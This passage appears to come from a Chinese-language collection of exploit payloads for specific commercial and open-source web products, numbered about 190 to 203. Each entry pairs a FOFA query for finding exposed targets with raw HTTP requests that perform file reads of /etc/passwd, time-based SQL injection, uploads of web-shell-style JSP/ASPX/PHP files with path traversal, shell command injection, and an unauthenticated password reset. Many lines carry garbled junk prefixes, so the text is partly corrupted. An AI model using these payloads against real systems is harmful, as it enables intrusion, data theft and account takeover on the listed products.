6 a# L4 Y" f1 O; k& h& MAccept-Language: zh-CN,zh;q=0.9
& U9 R/ q" Y" k( q$ r9 a8 E! uConnection: close
/ A" w$ [/ p+ X. p5 h. c
: s, \, E: ^8 y/ j1 A
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
/ J, @2 N- ~3 x  YPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
. P+ e4 K( L# q' V/ |- h3 L1 XHost: your-ip
% W2 `; I" p# b; K- ^( v  VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
. F" K; J0 m4 O  Z: o* L& O$ iAccept-Encoding: gzip, deflate
( }* p  o  Q; W1 M) [" c! K/ pAccept-Language: zh-CN,zh;q=0.9
5 ]3 P0 M% Q4 x4 W2 i
poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
2 N* Q4 L, H5 d4 CFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
/ d! v5 |3 c7 |  P1 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
( T5 l( Y+ Y6 c* A8 Z( Y9 o: t
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


, u; H4 }! e1 b6 D5 c192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
2 U* C% m9 O: M9 Z7 y8 fFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
. ]. L0 d& J4 w# O6 S6 R2 M. Q9 X( UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

/ M2 l% Q4 T: ?) X2 [. E; g6 z
<% @ webhandler language="C#" class="AverageHandler" %>
) K" B3 p/ K  @6 @5 s7 E: Husing System;
using System.Web;
: i3 @1 i1 C: u8 P# A9 xpublic class AverageHandler : IHttpHandler
{
public bool IsReusable
! B! _0 g. k, f8 |$ y1 D{ get { return true; } }
3 F$ F; H3 d/ q- s9 @) Vpublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
. K, w& s% d! v7 ~}
}

* U/ \  I) J- l- M9 ~5 l: w" |! W
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
8 B, C- |: J3 g2 j# ~. ~GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

  {6 v  @0 Y& y  o4 Z$ D
. s: I2 q! Q* H  N  LPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
+ k  B  q7 R5 |; \7 jUser-Agent: Mozilla/5.0
" c+ Q* Y1 a1 @4 u  U% V0 XAccept-Encoding: gzip, deflate
$ {6 i/ J/ }  R) v0 g- ?) x3 iAccept: */*
, c; }+ K# s& w. Y" q3 w3 v( \Connection: close
Cookie: PHPSESSID=2333333333333;
: h1 \9 F3 T8 v2 h* W$ Y& uContent-Type: application/x-www-form-urlencoded
1 P$ y- r' C8 Z+ t( iContent-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
) W) ^  i$ L, W1 _! ]- h& o6 K
( s3 J9 n5 n! S0 |( k6 K9 q7 x
GET /master/img/config HTTP/1.1
3 q3 {: W% v4 b" e( Y$ dHost:
0 a: n4 {, o1 _- zUser-Agent: Mozilla/5.0


: _; Z+ Q5 F+ b7 _. o194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
- Q4 b$ ~% `: l7 b* }5 wFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
% ]& w5 y7 m. ]! x
POST /servlet/uploadAttachmentServlet HTTP/1.1
# D9 }5 q+ G1 }0 n; DHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) k6 a8 ?$ m$ v+ M& \' xAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
, e' a! S: e1 {2 \) ^------WebKitFormBoundaryKNt0t4vBe8cX9rZk
5 s6 m: h6 E; u! ]( @( z
3 J2 C! p6 {# f4 n) N5 N* JContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
# ]6 J/ ]9 Q1 }Content-Type: text/plain
# S+ K5 |, b0 ?) N6 U4 z! F1 Z$ p<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
5 v: z3 R# _! ~ {"iq":{"query":{"UpdateType":"mail"}}}
- G" r9 a- r1 @8 N5 T: v, B6 Y------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


  c$ H" ~: r4 R: q! _7 ]195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
; a' R% |/ Y* t8 Y$ {3 O2 {; z' n* JFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
% C% B" v8 E9 ]7 P; p& E0 e: h1 NHost: 127.0.0.1
* _, r) J, `' v3 zPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
- v4 [- X0 n" o  V5 e. J! OAccept-Encoding: gzip, deflate
  Q1 a: `% D+ b7 f% O% y& j* yAccept-Language: zh-CN,zh;q=0.9
Connection: close
8 s* g6 K+ @" D# }' E. KContent-Type: application/x-www-form-urlencoded
) N  X4 K/ i- y) D) QContent-Length: 68

9 a$ @$ D  i  ]. k% E# H{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
0 G6 z: x  ~6 O* M! v- j# W

) }( D4 P7 `. ]2 u196. 河南省风速科技统一认证平台密码重置
, P& n: [' X& a% l) S3 P- b4 GFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
  c8 {/ f) s5 Y6 v" Z2 XPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
1 ~) |% h4 g2 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
1 t5 q9 Z) _& e2 t) fContent-Type: application/json;charset=UTF-8
9 G/ |  S' q: I- f$ o- IX-Requested-With: XMLHttpRequest
Host:
" C7 R& t  u8 i& m" p! _Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
& I  Q. ~* _" y1 C0 p! ^Connection: close

{"xgh":"test","newPass":"test666","email":""}
, F% O" F5 X1 _. n4 g
- j1 e$ ^8 c* ~& ]5 k  r8 B$ {; ]

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
1 k! L7 A( e8 O0 r* @FOFA：app="浙大恩特客户资源管理系统"
+ n. F" D9 }- j4 h+ O3 q5 [& |$ HGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
4 Z( H- c2 P! vHost:
3 G: u1 c. U& Y" A; UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
5 U1 A% L. j( u5 vConnection: close
) S0 g. d2 S- f0 f( C% \( e: T9 F# L
7 c% G- {1 F6 n! \* q: K+ f
0 j1 U* Z  G0 f$ T/ t3 Z
0 ~' r. _/ R0 O8 H1 v198.  阿里云盘 WebDAV 命令注入
$ r7 {( i% p- n  kCVE-2024-29640
: @% f7 [& M! K2 A7 R* o% WGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
& L1 ^3 f* P5 h. H6 X: J& E3 ^9 FAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

5 z+ N6 z) s5 f, l
8 L/ e# a$ F* C( D199. cockpit系统assetsmanager_upload接口 文件上传
4 B8 Z) ?7 s+ G1 S" X/ x
- i' {( H! t6 ?! k: I0 S) u% s( E1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
; b* }, y& ^: [3 X/ T
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
! b% [0 q+ r! H& F! V4 `
  R2 Q0 V0 p9 X' d2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
3 L5 X$ X/ S7 ~* ^! h- s0 OContent-Type: application/json
4 P$ m5 j' y, y2 O* o, s, ?# J; _
; d! i0 z1 f& u0 `+ q{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
  q/ a! O1 w* f" K
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
6 ]6 H0 ^- r( k5 dFofa：title="Authenticate Please!"
" X) T& T- z7 a3 uPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
4 ~4 {  P4 d+ r9 ~
8 w  R) l+ D( C5 j3 C; C- ]-----------------------------36D28FBc36bd6feE7Fb3
4 a4 L0 C) f9 R! M7 ^, o* ?" ^Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
' V% j' Z; T5 z
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
3 i  p' ^. y# b# R9 o/ N$ A; H8 u4 ZContent-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
' d( |% R  ^. |9 s0 b5 T
4 M$ {5 L, ?  F, x% k2 b$ v
/storage/uploads/tttt.php

, Y0 F5 Z$ Y" l  ?, u, `200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
9 S+ i; Q: h. P  F. V3 yCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
0 e+ F2 y* [9 F5 ?( B3 YUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* {! s# P2 D& r. s: q3 oAccept-Encoding: gzip, deflate
5 O2 c6 q: m6 s  B, zAccept-Language: zh-CN,zh;q=0.9

3 a% A5 s& E7 w1 ^/ F4 C$ A- F
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
2 G; @- V5 r3 h  e0 ^; A/ ZPOST /newsedit/newsplan/task/binary.do HTTP/1.1
- d) G9 h( ], U- r$ EContent-Type: application/x-www-form-urlencoded
* U, {- j' W8 c& A8 p- g% iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; d7 K9 K5 H' }; IConnection: close
* j* Z  \. v7 e
( R! Z3 u! M# q% S; f* f$ \! @TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
  Q8 u* M6 @. E3 C4 k

* M3 \6 v# C# K: q, J202. 微擎系统 AccountEdit任意文件上传
/ I) e$ n( T" l: R) |% NFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
6 x2 N( @$ a  h  m: X( AGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
: |) l4 Q% Q* z# c. g; ?
" v% T: @+ e# z
替换__VIEWSTATE和__EVENTVALIDATION值
! b: Q% @7 S/ a' RPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
6 K9 b8 O' S- E
-----------------------------786435874t38587593865736587346567358735687
/ N9 Q! O& T$ W9 D* _Content-Disposition: form-data; name="__VIEWSTATE"
9 W- u  ^$ [# s- ^
/ J5 U( h8 D. M- x: P2 O__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
: P7 D7 V7 N5 z5 l( O7 p6 SContent-Disposition: form-data; name="__EVENTVALIDATION"
* N% h! H& @9 e3 I* e* b  p
) l5 _) v5 W$ K, c. J5 t__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
3 K  ?) n1 J  g( I. L+ {Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
1 W% ^5 f. g7 v2 f. B) JContent-Type: text/plain
9 _3 f% t" G# h% _% j
Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

9 r8 Y/ d' a6 [+ |5 [, A上传图片
8 X5 W. V0 X2 C' o% p-----------------------------786435874t38587593865736587346567358735687
; v0 s. L. |) _) R, SContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

/ D; l% j3 n0 N9 j8 o
-----------------------------786435874t38587593865736587346567358735687
6 O! S7 C& s# O3 r  X) z% C7 DContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

" K$ W+ m) K2 |
) \8 O% J5 r& ?2 i-----------------------------786435874t38587593865736587346567358735687--


/ w/ u- x+ y: A0 e+ e# y# ^* h& b/_data/Uploads/1123.txt
3 O1 _7 L$ q3 T/ k
2 c- X+ B" _9 j9 r203. 红海云EHR PtFjk 文件上传
" ^. P# C/ E: [, m$ ?9 D: I0 UFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
, e  V- a1 m+ Q5 F. `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 B- b7 L5 }+ m/ D8 p9 pContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
* y& U: w3 h+ w9 w6 K& `5 [# rContent-Type:image/jpeg

# X$ `# e$ D8 b# @2 h<% out.print("hello,eHR");%>
6 z$ q) R, i  Q( C------WebKitFormBoundaryt7WbDl1tXogoZys4--

+ X* g/ L- [! D  O& F2 o5 f
* u" {& J. P3 T# t5 ~

5 n( }! u$ E# |3 I: B1 [! w
  [1 K& v# E* W8 A( {( W% u